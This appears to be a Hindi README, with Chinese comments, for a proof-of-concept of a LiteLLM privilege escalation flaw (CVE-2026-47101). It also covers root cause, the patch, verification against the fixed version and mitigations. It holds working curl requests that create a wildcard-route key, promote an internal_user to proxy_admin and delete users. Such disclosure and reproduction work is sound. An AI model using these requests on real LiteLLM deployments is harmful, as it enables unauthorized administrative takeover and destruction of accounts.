CVE-2026-47101 — LiteLLM Privilege Escalation via /key/generate + /user/update

LiteLLM v1.82.6 (v1.83.14 से पहले) का /key/generate एंडपॉइंट कम-विशेषाधिकार वाले internal_user को वाइल्डकार्ड रूट ["/*"] वाली API key बनाने की अनुमति देता है, और फिर /user/update एंडपॉइंट के माध्यम से स्वयं को proxy_admin में उन्नत कर लेता है, जिससे अनधिकृत विशेषाधिकार वृद्धि होती है।

विवरण

LiteLLM का /key/generate एंडपॉइंट API key बनाने के लिए उपयोग किया जाता है, और /user/update उपयोगकर्ता गुणों को अपडेट करने के लिए। इन दोनों एंडपॉइंट्स के प्राधिकरण जांच में तीन जुड़े हुए दोष हैं, जिनका कम-विशेषाधिकार वाला उपयोगकर्ता लाभ उठा सकता है:

1. /key/generate allowed_routes को सत्यापित नहीं करता — कोई भी रोल (जिसमें internal_user भी शामिल है) ["/*"] वाइल्डकार्ड रूट का अनुरोध कर सकता है
2. रूट जांच allowed_routes वाइल्डकार्ड मिलान पर पीछे हट जाती है — बनाई गई वाइल्डकार्ड key सभी प्रबंधन एंडपॉइंट्स तक पहुँच सकती है
3. /user/update स्वयं के user_role फ़ील्ड को संशोधित करने की अनुमति देता है — वाइल्डकार्ड key का उपयोग करके स्वयं को proxy_admin में उन्नत किया जा सकता है

आक्रमण श्रृंखला

internal_user
  →  POST /key/generate  {"allowed_routes": ["/*"]}
  →  获得通配符 API key
  →  POST /user/update   {"user_id": "...", "user_role": "proxy_admin"}
  →  角色提升为 proxy_admin
  →  GET  /user/list     (使用通配符 key)
  →  验证管理员访问权限

प्रूफ़ ऑफ़ कॉन्सेप्ट

वातावरण तैयार करना

# 1. 启动 PostgreSQL + 有漏洞的 LiteLLM（v1.82.6，digest 固定）
docker compose up -d litellm

# 等待服务就绪（约 10-30 秒）
sleep 15

सेवा चलने की पुष्टि करें

# 检查容器日志
docker logs litellm-privesc 2>&1 | tail -10

अपेक्षित आउटपुट में Uvicorn running on http://0.0.0.0:4000 जैसे सफल प्रारंभ लॉग शामिल होने चाहिए।

चरण 1: internal_user खाता बनाएँ

मास्टर key का उपयोग करके एक कम-विशेषाधिकार वाला internal_user खाता बनाएँ:

curl -s -X POST http://localhost:4000/user/new \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d '{"role": "internal_user"}'

अपेक्षित आउटपुट:

{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"}

लौटाए गए user_id और key को नोट कर लें, इनका आगे के चरणों में उपयोग होगा।

चरण 2: वाइल्डकार्ड रूट वाली API key बनाएँ

internal_user के रूप में /key/generate को कॉल करें, ["/*"] वाइल्डकार्ड रूट वाली API key का अनुरोध करें:

# 将 sk-internal-user-key 替换为上一步获得的 key
curl -s -X POST http://localhost:4000/key/generate \
  -H "Authorization: Bearer sk-internal-user-key" \
  -H "Content-Type: application/json" \
  -d '{"allowed_routes": ["/*"]}'

अपेक्षित आउटपुट:

{"key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","allowed_routes":["/*"]}

⚠️ कमज़ोरी: internal_user ने सफलतापूर्वक ["/*"] वाइल्डकार्ड रूट वाली API key बना ली! यह key सभी प्रबंधन एंडपॉइंट्स तक पहुँच सकती है, जिसमें /user/update, /user/list आदि शामिल हैं।

चरण 3: proxy_admin तक विशेषाधिकार वृद्धि

वाइल्डकार्ड रूट key का उपयोग करके /user/update को कॉल करें, उपयोगकर्ता रोल को proxy_admin में उन्नत करें:

curl -s -X POST http://localhost:4000/user/update \
  -H "Authorization: Bearer sk-wildcard-key" \
  -H "Content-Type: application/json" \
  -d '{"user_id": "your-user-id", "user_role": "proxy_admin"}'

अपेक्षित आउटपुट:

{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","data":{"user_role":"proxy_admin",...}}

⚠️ कमज़ोरी: user_role internal_user से बदलकर proxy_admin हो गया है! /user/update एंडपॉइंट उपयोगकर्ताओं को अपने स्वयं के user_role फ़ील्ड को संशोधित करने की अनुमति देता है, बिना किसी अनुमति प्रतिबंध के।

चरण 4: व्यवस्थापक पहुँच सत्यापित करें

/user/list एंडपॉइंट के माध्यम से रोल उन्नति की पुष्टि करें:

curl -s -X GET http://localhost:4000/user/list \
  -H "Authorization: Bearer sk-wildcard-key"

अपेक्षित आउटपुट:

{"users":[{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","user_role":"proxy_admin",...}]}

/user/list एंडपॉइंट केवल proxy_admin रोल तक पहुँच की अनुमति देता है। उपयोगकर्ता सूची सफलतापूर्वक प्राप्त करना विशेषाधिकार वृद्धि की पुष्टि करता है।

चरण 5: विस्तार — व्यवस्थापक उपयोगकर्ता हटाएँ

प्राप्त proxy_admin अनुमति का उपयोग करके, /user/delete के माध्यम से किसी भी उपयोगकर्ता को हटाया जा सकता है:

curl -s -X POST http://localhost:4000/user/delete \
  -H "Authorization: Bearer sk-wildcard-key" \
  -H "Content-Type: application/json" \
  -d '{"user_ids": ["user-id-to-delete"]}'

अपेक्षित आउटपुट:

1

एक-क्लिक पुनरुत्पादन

उपरोक्त चरणों को demo.sh में एकीकृत किया गया है, इसे सीधे चलाया जा सकता है:

# 完整复现（包含步骤 1-5）
bash demo.sh

# 同时测试修复版本对比
bash demo.sh --fixed

फिक्स्ड वर्ज़न सत्यापन

फिक्स्ड वर्ज़न (v1.83.14-stable) प्रारंभ करके जाँचें कि कमज़ोरी ठीक हो गई है:

# 启动修复版本
docker compose --profile fixed up -d litellm-fixed

# 等待就绪
sleep 15

internal_user बनाएँ:

FIXED_USER_KEY=$(curl -s -X POST http://localhost:4001/user/new \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d '{"role": "internal_user"}' | \
  python3 -c "import sys,json; print(json.load(sys.stdin).get('key',''))")

echo "Fixed user key: $FIXED_USER_KEY"

वाइल्डकार्ड रूट वाली key बनाने का प्रयास करें (अपेक्षित: अवरुद्ध):

curl -s -X POST http://localhost:4001/key/generate \
  -H "Authorization: Bearer $FIXED_USER_KEY" \
  -H "Content-Type: application/json" \
  -d '{"allowed_routes": ["/*"]}'

अपेक्षित आउटपुट (फिक्स्ड वर्ज़न अनधिकृत अनुरोध को रोकता है):

{"error":{"message":"Not allowed","type":"auth_error","code":"403"}}

कमज़ोर वर्ज़न से तुलना:

कमज़ोर एंडपॉइंट्स

POST /key/generate

नई API key बनाता है। allowed_routes पैरामीटर key द्वारा सुलभ एंडपॉइंट रूट्स की सूची को सीमित करने के लिए उपयोग किया जाता है।

POST /user/update

उपयोगकर्ता गुणों को अपडेट करता है, जिसमें user_role फ़ील्ड शामिल है।

शोषण तकनीक

चरण 1: वाइल्डकार्ड रूट वाली API key बनाएँ

internal_user के रूप में, ["/*"] वाली key का अनुरोध करने के लिए /key/generate को कॉल करें:

POST /key/generate
Authorization: Bearer sk-internal-user-key
Content-Type: application/json

{"allowed_routes": ["/*"]}

प्रतिक्रिया में नई API key शामिल होती है, जिसके पास वाइल्डकार्ड रूट अनुमति होती है।

चरण 2: रोल को proxy_admin में उन्नत करें

वाइल्डकार्ड key का उपयोग करके /user/update को कॉल करें:

POST /user/update
Authorization: Bearer sk-wildcard-key
Content-Type: application/json

{"user_id": "target-user-id", "user_role": "proxy_admin"}

चरण 3: व्यवस्थापक अनुमति सत्यापित करें

GET /user/list
Authorization: Bearer sk-wildcard-key

मूल कारण विश्लेषण

कमज़ोरी का मूल कारण तीन स्वतंत्र प्राधिकरण जाँचों की अनुपस्थिति है:

1. /key/generate — allowed_routes रोल सत्यापन का अभाव

/key/generate एंडपॉइंट allowed_routes पैरामीटर को स्वीकार करता है और इसे सीधे key से जोड़ता है, अनुरोधकर्ता के रोल की जाँच नहीं करता। यहाँ तक कि internal_user भी व्यवस्थापक-स्तर के रूट अनुमतियों का अनुरोध कर सकता है।

# 有漏洞的伪代码 — 未校验角色
@app.post("/key/generate")
async def generate_key(params, user_api_key_dict):
    # 仅验证了 API key 有效性
    # 未检查 user_role 是否允许请求 allowed_routes
    allowed_routes = params.get("allowed_routes", [])
    new_key = create_key(user=user, allowed_routes=allowed_routes)
    return {"key": new_key}

2. रूट प्राधिकरण allowed_routes वाइल्डकार्ड मिलान पर पीछे हट जाता है

मिडलवेयर रूट अनुमतियों की जाँच करते समय, यदि उपयोगकर्ता रोल-स्तरीय प्राधिकरण जाँच विफल हो जाती है, तो वह API key की allowed_routes सूची की जाँच पर पीछे हट जाता है। चूँकि ["/*"] सभी रूटों से मेल खाता है, सभी प्रबंधन एंडपॉइंट्स को अनुमति मिल जाती है।

# 有漏洞的伪代码 — 路由检查回退逻辑
async def authorize_request(request, api_key):
    # 用户角色检查失败后回退到 allowed_routes
    if not user_role_authorized(request, api_key.user):
        # 检查 allowed_routes — ["/*"] 匹配所有
        if not any(match_route(route, request.path) for route in api_key.allowed_routes):
            return HTTP_403
    return HTTP_200

3. /user/update — स्वयं के user_role को संशोधित करने की अनुमति

/user/update एंडपॉइंट उपयोगकर्ता गुणों को अपडेट करते समय, उपयोगकर्ताओं को अपने स्वयं के user_role फ़ील्ड को संशोधित करने की अनुमति देता है, बिना किसी प्रतिबंध के। केवल proxy_admin रोल को ही उपयोगकर्ता रोल बदलने का अधिकार होना चाहिए।

# 有漏洞的伪代码 — 未限制 user_role 修改
@app.post("/user/update")
async def update_user(params, user_api_key_dict):
    user_id = params.get("user_id")
    updates = {}
    if "user_role" in params:
        updates["user_role"] = params["user_role"]  # 未做权限校验！
    update_user_in_db(user_id, updates)
    return {"user_id": user_id, "data": updates}

पैच विश्लेषण (v1.83.14)

फिक्स्ड वर्ज़न ने निम्नलिखित तीन क्षेत्रों में प्राधिकरण जाँच जोड़ी:

1. /key/generate — allowed_routes पैरामीटर का सत्यापन जोड़ा गया: सामान्य उपयोगकर्ता व्यवस्थापक-स्तर के रूट अनुमतियों का अनुरोध नहीं कर सकते
2. रूट प्राधिकरण — पीछे हटने वाले तर्क को ठीक किया गया, सुनिश्चित किया गया कि उपयोगकर्ता रोल जाँच allowed_routes से अधिक प्राथमिकता रखती है
3. /user/update — user_role फ़ील्ड संशोधन अनुमति को प्रतिबंधित किया गया: केवल proxy_admin ही उपयोगकर्ता रोल बदल सकता है

रिपॉजिटरी संरचना

CVE-2026-47101/
├── README.md                               # This file
├── CVE-2026-47101_漏洞复现报告.docx          # Reproduction report (Chinese)
├── docker-compose.yml                      # PostgreSQL + vulnerable/fixed LiteLLM
├── config.yaml                             # LiteLLM config with database connection
├── requirements.txt                        # Python dependencies
├── demo.sh                                 # One-click reproduction script
├── exploit/
│   ├── exploit.py                          # Python exploit script
│   └── payload.py                          # Payload builders
├── docs/
└── screenshots/

शमन उपाय

1. LiteLLM को v1.83.14+ (फिक्स्ड प्राधिकरण जाँच) में अपग्रेड करें
2. API key विशेषाधिकारों को प्रतिबंधित करें — allowed_routes के लिए न्यूनतम विशेषाधिकार लागू करें
3. मौजूदा उपयोगकर्ताओं और keys की ऑडिट करें, विशेषाधिकार वृद्धि के संकेतों के लिए
4. user_role परिवर्तनों के साथ /user/update कॉल की निगरानी करें, असामान्य गतिविधि के लिए

संदर्भ

• NVD Detail
• GitHub Security Advisory
• Obsidian Security Advisory

अस्वीकरण: यह सामग्री केवल शैक्षिक उद्देश्यों और अधिकृत सुरक्षा परीक्षण के लिए प्रदान की गई है।